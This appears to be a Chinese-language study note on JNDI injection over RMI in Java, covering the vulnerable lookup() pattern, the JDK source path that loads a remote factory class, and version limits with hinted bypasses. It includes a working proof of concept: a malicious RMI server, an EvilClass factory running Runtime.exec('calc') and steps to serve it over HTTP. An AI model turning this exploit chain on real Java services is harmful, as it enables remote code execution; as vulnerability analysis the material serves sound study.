0%

JNDI+RMI

JNDI+RMI

什么是JNDI

  • JNDI 提供统一的客户端 API,通过不同的JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。
  • 若程序定义了JNDI中的接口,则可以通过该接口的API访问系统的命令服务和目录服务。

image

JNDI解决的问题/特性

没有之前需要将具体的外部依赖,例如数据库的地址参数写入到Java代码中,程序才能找到具体的数据库地址进行链接。当配置信息变动,就又需要手动去调节。有了JNDI之后,可以不用去管这些配置信息,全都交给J2EE容器来配置和管理,程序员只需要对这些配置和管理进行引用即可。其实就是可以给资源取一个名字,再根据这个名字去找这个资源。

JNDI+RMI注入原理分析

Java JDK里面提供了5个包给JNDI的功能实现

1
2
3
4
5
javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。
1
2
3
4
5
6
//构建一个初始上下文。
InitialContext()
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy)
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//为类名为“className”的对象构造一个新的引用。
Reference(String className)
//为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr)
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory 加载的class中需要实例化类的名称
factoryLocation 提供classes数据的地址可以是file/ftp/http协议
*/

String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);//test为恶意接口的名字

JNDI注入:当开发者在定义JNDI接口初始化时,lookup()方法的参数被外部攻击者可控,攻击者可以将恶意url传入参数,以此劫持被攻击的Java客户端的JNDI请求指向恶意的服务器地址,恶意的资源服务器地址响应了一个恶意Java对象载荷(reference实例 or 序列化实例),对象在被解析实例化,实例化的过程造成了注入攻击。不同的注入方法区别主要就在于利用实例化注入的方式不同。

image.png

可以看到远程对象是通过rmi原生的lookup获取到的,而rmi是通过反序列化获取到的远程对象,这时如果客户端系统里有gadget组件,这一步的反序列化就能导致代码执行了。

image.png

这一行代码是在jdk8u121开启的,并且是加在RegistryContext里面的,也就是只对了jndi的rmi实现作了限制,新增加了一个if判断,如果com.sun.jndi.rmi.object.trustURLCodebase为true就可以通过codebase加载,因此这个漏洞想要直接利用是有版本限制的,JDK 6u1327u1228u113之前可以,高版本也有绕过方法,如利用 LDAP 返回序列化数据,触发本地 Gadget,或者利用本地恶意 Class 作为 Reference Factory,这篇文章不做详细的记录,之后有空再另起一篇。

Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;

这段代码判断传入的对象,是否满足RemoteReference接口,如果有则getReference()获取reference对象,然后进入getObjectInstance函数。

具体利用流程如下:

1、目标代码中调用了InitialContext.lookup(URI),URI为用户可控的;

2、攻击者设置uri为恶意rmi服务地址;

3、攻击者设置rmi server向目标返回一个reference引用对象,reference对象中指定了一个精心构造的Factory类;

4、目标进行lookup操作远程对象时,获取到动态加载并实例化了这个Factory类,接着调用factory.getObjectInstance()加载外部远程对象实例;

-1428049740.png

漏洞成因

lookup()参数可控

漏洞代码示例

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
String url = "rmi://127.0.0.1:1099/class";
context.lookup(url);
}
}

String uri = "rmi://127.0.0.1:1099/class"; ``initialContext.lookup(uri); ∴会通过rmi协议访问127.0.0.7:1099/class

攻击代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:1098/";
Reference reference = new Reference("EvilClass", "EvilClass", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("class",referenceWrapper);//class要与客户机rmi同名
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
static {
System.out.println("hello,static~");
}
public EvilClass() throws IOException {
System.out.println("constructor~");
}

@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
Runtime.getRuntime().exec("calc");
System.out.println("hello,getObjectInstance~");
return null;
}
}
//没报错,并且执行了
1
2
3
4
5
6
7
8
9
10
import java.io.IOException;
public class EvilClass{

// 静态代码块, 当类被加载时调用
public EvilClass() throws Exception{
Runtime.getRuntime().exec("calc");

}
}
//报错了,但是会执行

搭建好了以后,我们先运行服务端,然后将EvilClass编译一下,再使用Python开启一个http服务

javac EvilClass.java,python -m http.server 1908

接着我们再运行客户端,就会发现已经成功执行代码了。

漏洞代码触发链

触发是由lookup,我们就打一个断点调试追踪看看

1
2
3
4
5
6
7
8
9
10
11
12
13
public Object lookup(String var1) throws NamingException {
ResolveResult var2 = this.getRootURLContext(var1, this.myEnv);
Context var3 = (Context)var2.getResolvedObj();

Object var4;
try {
var4 = var3.lookup(var2.getRemainingName());
} finally {
var3.close();
}

return var4;
}

image.png

首先我们可以看到var1就是我们lookup传入的url,然后我们追踪getRootURLContext方法,它用于解析rmi url并返回上下文信息,我们可以看到他返回的var2,已经把信息拆分了。

image.png

Context var3 = (Context)var2.getResolvedObj();接着将var2的getResolvedObj属性赋给var3

image.png

目的是为了接下来var3的lookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public Object lookup(Name var1) throws NamingException {
if (var1.isEmpty()) {
return new RegistryContext(this);
} else {
Remote var2;
try {
var2 = this.registry.lookup(var1.get(0));
} catch (NotBoundException var4) {
throw new NameNotFoundException(var1.get(0));
} catch (RemoteException var5) {
throw (NamingException)wrapRemoteException(var5).fillInStackTrace();
}

return this.decodeObject(var2, var1.getPrefix(1));
}
}

这段代码的作用是查找给定名称的远程对象,并返回解码后的对象

image.png

var1是上文传入的RemainingName,也就是我们设置的class,首先会判断是否为空,接着从注册表中查找名称为var1的远程对象

image.png我们去注册表那边看看是怎么个事儿。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public RemoteCall newCall(RemoteObject var1, Operation[] var2, int var3, long var4) throws RemoteException {
clientRefLog.log(Log.BRIEF, "get connection");
Connection var6 = this.ref.getChannel().newConnection();

try {
clientRefLog.log(Log.VERBOSE, "create call context");
if (clientCallLog.isLoggable(Log.VERBOSE)) {
this.logClientCall(var1, var2[var3]);
}

StreamRemoteCall var7 = new StreamRemoteCall(var6, this.ref.getObjID(), var3, var4);

try {
this.marshalCustomCallData(var7.getOutputStream());
} catch (IOException var9) {
throw new MarshalException("error marshaling custom call data");
}

return var7;
} catch (RemoteException var10) {
this.ref.getChannel().free(var6, false);
throw var10;
}
}

Connection var6 = this.ref.getChannel().newConnection();在this.ref.getChannel().newConnection()中创建一个TCPConnection,接着构造一个StreamRemoteCall对象,并在其中远程初始化远程调用的头部信息,

接着就到了调用var3的lookup方法

image.png

然后执行decodeObject,解码远程对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private Object decodeObject(Remote var1, Name var2) throws NamingException {
try {
Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1;
return NamingManager.getObjectInstance(var3, var2, this, this.environment);
} catch (NamingException var5) {
throw var5;
} catch (RemoteException var6) {
throw (NamingException)wrapRemoteException(var6).fillInStackTrace();
} catch (Exception var7) {
NamingException var4 = new NamingException();
var4.setRootCause(var7);
throw var4;
}
}

首先检查var1,也就是我们传入的查找到的远程对象是否是RemoteReference格式的数据如果是,则通过((RemoteReference)var1).getReference()获取远程引用对象,不是,就直接调用var1。

接着进入getObjectInstance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
public static Object
getObjectInstance(Object refInfo, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception
{

ObjectFactory factory;

// Use builder if installed
ObjectFactoryBuilder builder = getObjectFactoryBuilder();
if (builder != null) {//远程调用,故为null
// builder must return non-null factory
factory = builder.createObjectFactory(refInfo, environment);
return factory.getObjectInstance(refInfo, name, nameCtx,
environment);
}

// Use reference if possible
Reference ref = null;
if (refInfo instanceof Reference) {
ref = (Reference) refInfo;
} else if (refInfo instanceof Referenceable) {
ref = ((Referenceable)(refInfo)).getReference();
}

Object answer;

if (ref != null) {
String f = ref.getFactoryClassName();
if (f != null) {
// if reference identifies a factory, use exclusively

factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
// No factory found, so return original refInfo.
// Will reach this point if factory class is not in
// class path and reference does not contain a URL for it
return refInfo;

} else {
// if reference has no factory, check for addresses
// containing URLs

answer = processURLAddrs(ref, name, nameCtx, environment);
if (answer != null) {
return answer;
}
}
}

// try using any specified factories
answer =
createObjectFromFactories(refInfo, name, nameCtx, environment);
return (answer != null) ? answer : refInfo;
}

builder == null,refInfo检查格式,如果是Reference就尝试获取工厂类名,如果ref存在,就用类名创建工厂

image.png

返回的结果

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;

// Try to use current class loader
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

最后调用newInstance()方法来执行实例

[board]

参考链接:

https://blog.csdn.net/Gherbirthday0916/article/details/136459856

https://www.cnblogs.com/LittleHann/p/17768907.html


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/dw27qsyn5d8gu1nq
语雀文档ID: 187497177